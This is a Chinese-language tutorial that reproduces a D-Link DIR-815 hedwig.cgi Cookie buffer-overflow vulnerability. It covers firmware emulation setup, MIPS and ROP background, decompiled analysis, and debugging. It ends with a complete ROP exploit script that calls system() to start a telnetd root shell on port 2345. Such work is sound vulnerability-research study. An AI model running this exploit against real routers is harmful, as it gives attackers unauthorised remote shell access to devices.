前置条件:
工具:
建议Ubuntu18.04及以上且是纯净版本
个人版本是Ubuntu20.041.
binwalk
sudo apt install binawlk
firmware-mod-kit
安装之前得先安装环境
Ubuntu18.04及前
sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic autoconf
Ubuntu20.04及后
sudo apt-get install git build-essential zlib1g-dev liblzma-dev python3-magic autoconf python-is-python3
环境配好后就可以安装firmware-mod-kit了
git clone https://github.com/rampageX/firmware-mod-kit.git
FirmAE
强烈建议拉项目前存个快照
拉项目
git clone --recursive https://github.com/pr0v3rbs/FirmAE
之后进入文件夹依次执行以下三个sh
文件
sudo ./download.sh
sudo ./install.sh
sudo ./init.sh
常见问题
download.sh
download里的网站基本全在海外,所以常常出现没法全部拉下来的场面
我的建议是,要么走代理
要么就把sh文件里的网站复制下来在宿主机里的浏览器中下载,也就是亲力亲为一个个下,再复制粘贴到binaries
install.sh
跑之前给点建议:
1.如果你有qemu环境,就注释掉sh里的以下代码,否则很有可能将你的qemu环境弄得一团糟
sudo apt-get install -y qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
2.网络问题是典中典,建议走代理
3.这玩意会给你安一个postgresql,小心环境紊乱
sudo apt install -y postgresql
综上:
如果你执行完它再重启Ubuntu后,失去了图形化界面,那就是没救了,回快照吧,环境崩了
使用仿真常见小问题
target is busy.
这玩意基本就是因为没有正常退出仿真导致的
查看挂载点
命令:mount | grep pathto/FirmAE/scratch/targetID/image
删掉挂载点
命令:sudo umount -f pathto/FirmAE/scratch/targetID/image
or sudo umount --lazy pathto/FirmAE/scratch/1/image
(可以两个指令联用)
有时候这玩意会抽风,得尝试好几次,不知道啥原因
Address already in use
成因同上
删除占用端口
命令:先查看sudo lsof -i -P -n | grep LISTEN
后删除sudo kill -9 <PID>
IDA的mipsrop插件
旧一点的IDAPython的版本一般是python2版本,并且mipsrop.py脚本也是按照python2格式来写的,这就导致你如果IDAPython的版本高于3,就会有mipsrop.py脚本不适配,得一个个修改,甚至修改了还是运行不了,还好网上有大佬已经弄好适配python3版本的mipsrop.py了,但我自己搜的时候弄的好痛苦,基本都是介绍python2 的版本,很麻烦,所以我把该链接分享出来,我也放附件里了
[求助]IDA 无法安装mipsrop插件-求助问答-看雪-安全社区|安全招聘|kanxue.com
需要下载的zip包就在评论区里,往下滑很快的,经本人亲自尝试,可支持IDA8.3甚至是IDAPro9.0
解压后直接把以下文件丢到IDA根目录下的plugins即可
常见问题:NameError: name 'mipsrop' is not defined
解决方法
import mipsrop
mipsrop = mipsrop.MIPSROPFinder()
常使用模块
寻找特定gadget
mipsrop.find("the asm you want to search")
主要针对栈相关的gadget
mipsrop.stackfinders()
知识点:
基础溢出
有点Pwn基础的上手会很快,简单解释下什么是溢出。一般都是由于缓冲区溢出等原因导致攻击者能够控制程序执行流,来执行恶意代码,达到攻击目的。在这就是对路由器进行挟持了。
常见的攻击方式有Shellcode
和ROP
Shellcode
Shellcode的本质是机械码,攻击者通过精心构建的Shellcode,来执行恶意代码,最终达到攻击目的。一般的Shellcode由汇编辅助编写而成,所以常见的都是用汇编写Shellcode
ROP
ROP
即返回导向编程。通过利用程序中各种细碎的代码段(也称为gadget
如pop | ret
)串成一段恶意代码,这段恶意代码有着控制寄存器、系统调用等功能,通过溢出劫持返回地址执行这段代码,达到攻击目的
HTTP协议
有web基础基本就可以跳了,简要介绍下
HTTP(即HyperText Transfer Protocol)是一种超文本传输协议,是Web上进行任何数据交换的基础,也是一种客户端-服务器协议.
它由请求和响应组成,而请求的各个部分分别是请求行、消息报头、请求正文。
请求行
Method Request-URI HTTP-Version CRLF
消息报头
包含若干字段,通常以 key: value
的格式表示,如
Content-Length: 348
Content-Type: application/x-www-form-urlencoded
请求正文
HTTP请求正文是请求消息中可选的部分,通常用于在 POST
、PUT
或其他需要传递数据的请求中,携带客户端向服务器发送的数据。它是位于请求头之后的实际数据内容。可由多种数据组成,如表单、二进制、JSON等,如
POST /api/v1/user HTTP/1.1
Host: api.example.com
Content-Type: application/json
Content-Length: 55
{
"username": "admin",
"password": "12345",
"remember_me": true
}
Content-Type
来判断请求正文的格式,JSON格式的内容则是请求正文
MIPS架构
寄存器
zero -> 值始终为0
$at -> 保留给汇编器
$v0-$v1 -> 保存表达式返回结果
$a0-$v3 -> 函数参数,类比rdi,rsi...的顺序,超过4个则用堆栈传递
$t0-t9 -> 临时寄存器,其中t8,t9是扩展,且t9常用来调用函数
$s0-$s7 -> 保存寄存器,保存一些函数调用时必要的值
$k0-$k1 -> 留给系统中断处理的时候使用
$gp -> 全局指针
$sp -> 堆栈指针,类比rsp
$fp -> 栈帧指针
$ra -> 返回地址,类比ret
基础汇编
LOAD和STORE
l==>LOAD
s==>STORE
不同的后缀代表不同的数据大小
w==>word
h==>half
b==>byte
u==>unsigned
i==>immediate
指令格式
R型
opcode | first source res | second source res | destination res | offset | funct(这个参数不用了解,毕竟我们看的常常是汇编)
I型
opcode | source res | destination res | addr_offset
J型
opcode | target_addr
常见汇编
add
jr==jmp,常跟ra
jalr,效果近似于jmp,后边常跟t9调用函数
流水线指令集特性之一:分支延迟效应
流水线效应最常见的就是跳转指令(如jalr
)导致的分支延迟效应,当它跳转指令填充好跳转地址但尚未跳转过去时,它会优先执行该跳转指令的下一条指令,如
jalr $t9
addiu $s0, 1
在还未跳转到t9时,会执行addiu汇编,然后再进行跳转,可以理解为同时执行了两条指令
硬件下载地址:
https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/
漏洞成因:
Cookie头的hedwig.cgi
远程缓冲区溢出
漏洞分析:
我们先从固件包下手
binwalk -Me DIR-815-FW-1.01b14_1.01b14.bin
获得以下文件
根据漏洞报告里说与hedwig.cgi
和Cookie
有关,我们从固件里提取出相关二进制文件,并就着Cookie
进行寻找
在sess_get_uid
函数里发现了利用,我们先在交叉引用中寻找与漏洞名有关的函数 发现在hedwigcgi_main
函数中进行了调用,进入该函数看看做了什么
int hedwigcgi_main()
{
char *v0; // $v0
const char *v1; // $a1
FILE *v2; // $s0
int v3; // $fp
int v4; // $s5
int v5; // $v0
const char *string; // $v0
FILE *v7; // $s2
int v8; // $v0
int v9; // $s7
int v10; // $v0
char **v11; // $s1
int i; // $s3
char *v13; // $v0
const char **v14; // $s1
int v15; // $s0
char *v16; // $v0
const char **v17; // $s1
int v18; // $s0
int v19; // $v0
const char *v20; // $v0
char v22[20]; // [sp+18h] [-4A8h] BYREF
char *v23; // [sp+2Ch] [-494h] BYREF
char *v24; // [sp+30h] [-490h]
_DWORD v25[3]; // [sp+34h] [-48Ch] BYREF
char v26[128]; // [sp+40h] [-480h] BYREF
char v27[1024]; // [sp+C0h] [-400h] BYREF
memset(v27, 0, sizeof(v27));
memset(v26, 0, sizeof(v26));
strcpy(v22, "/runtime/session");
v0 = getenv("REQUEST_METHOD");
if ( !v0 )
{
v1 = "no REQUEST";
LABEL_7:
v3 = 0;
v4 = 0;
LABEL_34:
v9 = -1;
goto LABEL_25;
}
if ( strcasecmp(v0, "POST") )
{
v1 = "unsupported HTTP request";
goto LABEL_7;
}
cgibin_parse_request(sub_409A6C, 0, 0x20000);
v2 = fopen("/etc/config/image_sign", "r");
if ( !fgets(v26, 128, v2) )
{
v1 = "unable to read signature!";
goto LABEL_7;
}
fclose(v2);
cgibin_reatwhite(v26);
v4 = sobj_new();
v5 = sobj_new();
v3 = v5;
if ( !v4 || !v5 )
{
v1 = "unable to allocate string object";
goto LABEL_34;
}
sess_get_uid(v4);
string = (const char *)sobj_get_string(v4);
sprintf(v27, "%s/%s/postxml", "/runtime/session", string);
xmldbc_del(0, 0, v27);
v7 = fopen("/var/tmp/temp.xml", "w");
if ( !v7 )
{
v1 = "unable to open temp file.";
goto LABEL_34;
}
if ( !haystack )
{
v1 = "no xml data.";
goto LABEL_34;
}
v8 = fileno(v7);
v9 = lockf(v8, 3, 0);
if ( v9 < 0 )
{
printf(
"HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>",
0);
v9 = 0;
goto LABEL_26;
}
v10 = fileno(v7);
lockf(v10, 1, 0);
v23 = v26;
v24 = 0;
memset(v25, 0, sizeof(v25));
v24 = strtok(v22, "/");
v11 = (char **)v25;
for ( i = 2; ; ++i )
{
v13 = strtok(0, "/");
*v11++ = v13;
if ( !v13 )
break;
}
(&v23)[i] = (char *)sobj_get_string(v4);
fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n", v7);
v14 = (const char **)&v23;
v15 = 0;
do
{
++v15;
fprintf(v7, "<%s>\n", *v14++);
}
while ( v15 < i + 1 );
v16 = strstr(haystack, "<postxml>");
fprintf(v7, "%s\n", v16);
v17 = (const char **)&(&v23)[i];
v18 = i + 1;
do
{
--v18;
fprintf(v7, "</%s>\n", *v17--);
}
while ( v18 > 0 );
fflush(v7);
xmldbc_read(0, 2, "/var/tmp/temp.xml");
v19 = fileno(v7);
lockf(v19, 0, 0);
fclose(v7);
remove("/var/tmp/temp.xml");
v20 = (const char *)sobj_get_string(v4);
sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);
xmldbc_ephp(0, 0, v27, stdout);
if ( v9 )
{
v1 = 0;
LABEL_25:
printf(
"HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>",
v1);
}
LABEL_26:
if ( haystack )
free(haystack);
if ( v3 )
sobj_del(v3);
if ( v4 )
sobj_del(v4);
return v9;
}
可以很明显看到漏洞点
sess_get_uid(v4);
string = (const char *)sobj_get_string(v4);
sprintf(v27, "%s/%s/postxml", "/runtime/session", string);
string
过大会导致栈溢出,而string由sobj_get_string这个函数提取v4的字符串所得,v4又由sess_get_uid进行了操作,那我们就要详细分析sess_get_uid
int __fastcall sess_get_uid(int a1)
{
int v2; // $s2
char *v3; // $v0
int v4; // $s3
char *v5; // $s4
int v6; // $s1
int v7; // $s0
char *string; // $v0
int result; // $v0
v2 = sobj_new();
v4 = sobj_new();
v3 = getenv("HTTP_COOKIE");
if ( !v2 )
goto LABEL_27;
if ( !v4 )
goto LABEL_27;
v5 = v3;
if ( !v3 )
goto LABEL_27;
v6 = 0;
while ( 1 )
{
v7 = *v5;
if ( !*v5 )
break;
if ( v6 == 1 )
goto LABEL_11;
if ( v6 < 2 )
{
if ( v7 == 32 )
goto LABEL_18;
sobj_free(v2);
sobj_free(v4);
LABEL_11:
if ( v7 == 59 )
{
v6 = 0;
}
else
{
v6 = 2;
if ( v7 != 61 )
{
sobj_add_char(v2, v7);
v6 = 1;
}
}
goto LABEL_18;
}
if ( v6 == 2 )
{
if ( v7 == 59 )
{
v6 = 3;
goto LABEL_18;
}
sobj_add_char(v4, *v5++);
}
else
{
v6 = 0;
if ( !sobj_strcmp(v2, "uid") )
goto LABEL_21;
LABEL_18:
++v5;
}
}
if ( !sobj_strcmp(v2, "uid") )
{
LABEL_21:
string = (char *)sobj_get_string(v4);
goto LABEL_22;
}
LABEL_27:
string = getenv("REMOTE_ADDR");
LABEL_22:
result = sobj_add_string(a1, string);
if ( v2 )
result = sobj_del(v2);
if ( v4 )
return sobj_del(v4);
return result;
}
总结就是该函数经过了一系列操作中,从 HTTP 请求的 Cookie 中解析键为 "uid"
的值,并将其存储到目标对象v4
中,如果没有找到 "uid"
,则使用客户端的 IP 地址作为默认值,所以payload的格式很好确定
'Cookie':'uid='+ payload
动态调试
启动仿真
path_to_FirmAE/run.sh <mode> <brand> path/to/firmware
mode是模式,brand是品牌,比如我是这样的
./run.sh -d dlink /home/dusk/firmware/DIR-815_REVA_FIRMWARE_v1.01/dir815_FW_101/DIR-815-FW-1.01b14_1.01b14.bin
等待一会儿后就会出现如下界面
我们先输入2,输入指令,获取服务进程
ps | grep "httpd"
其中2675就是我们的进程
我们再ctrl D
并输入4起gdbserver,输入pid即可
为了方便我们调试gdbserver,要关闭地址随机化(实际上的固件的地址也是不随机的)
echo "0" >> /proc/sys/kernel/randomize_va_space
因为在gdb-muliarch调试远端gdbserver的时候是没有libc模块的,所以得在qemu里获取libc_base
cat /proc/server_pid/maps
测试溢出大小
需要用到pwntools,gdbserver,gdb-multiarch,FirmAE
在动调前我们需要写好两个脚本
第一个:建立预POST脚本
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')
url = "http://192.168.0.1/hedwig.cgi"
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded", #表单提交的默认编码方式,用于发送键值对形式的数据以URL编码的方式发送,键值对用&连接,键和值用=分隔
"Content-Length": "11",
"REQUEST_METHOD":"POST",
"REQUEST_URI" :"/hedwig.cgi",
}
res = requests.post(url = url, headers = headers)
第二个:gdb-multiarch脚本,可以随意命名
set architecture mips #设置架构
set follow-fork-mode child #指定被调的程序执行fork()系统调用时跟进子进程。若为parent,则继续跟踪父进程,忽视子进程
set detach-on-fork off #设置fork分离模式,off为不自动将未被跟踪的进程(父进程或子进程)从调试会话中分离
b *0x409A30 #下断点
target remote 192.168.0.1:1337 #链接远端
命名好后启动如下命令即可开始调试
gdb-multiarch -x filename
好了,现在我们就可以尝试寻找溢出点了。我们用pwntools里提供的cyclic函数来定位溢出点
可以得到offset
大约为1043(注意,是大约,并不一定完全准确,还需要自己微调),我们再调一次看看结果如何
cyclic(1043) + b'dusk'
很好的结果,与测定结果相同,此时我们就已经劫持ra跳转地址了,那么我们还需要一些gadget
辅助我们进行system函数调用
gadget思路
需要注意的是,sprintf
有\x00
截断,而system函数恰好以\x00结尾,这时候就需要用到我们的流水线效应了
我们可以让system-1,然后找一个跳转指令并且紧跟着add res,1的指令就可以使我们的system函数恢复,光回复不够,我们还需要调用,所以我们还得找一个gadget来使存储system函数的某s寄存器被赋值给t9然后通过jalr调用即可,所幸我们能在libc里找到,相对偏移如下
0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5
0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1
然后就是精心构造payload和需要执行的命令了
exp
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')
libc_base = 0x77f34000
move_jalr = 0x159CC + libc_base
addiu_jalr = 0x158C8 + libc_base
system = 0x53200 + libc_base
payload = cyclic(1007)
payload += p32(system - 1) #$s0
payload += b'a'*0x10
payload += p32(move_jalr) #$s5
payload += b'b' * 0xc
payload += p32(addiu_jalr)
payload += b'c' * 0x10
payload += b'telnetd -l /bin/sh -p 2345 & ls & ' #起一个telnetd服务,监听端口为2345,并提供交互shell,
url = "http://192.168.0.1/hedwig.cgi"
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "11",
"REQUEST_METHOD":"POST",
"REQUEST_URI" :"/hedwig.cgi",
}
res = requests.post(url = url, headers = headers)
执行效果如下
完成复现
- mipsrop.zip 下载
-
-
-
-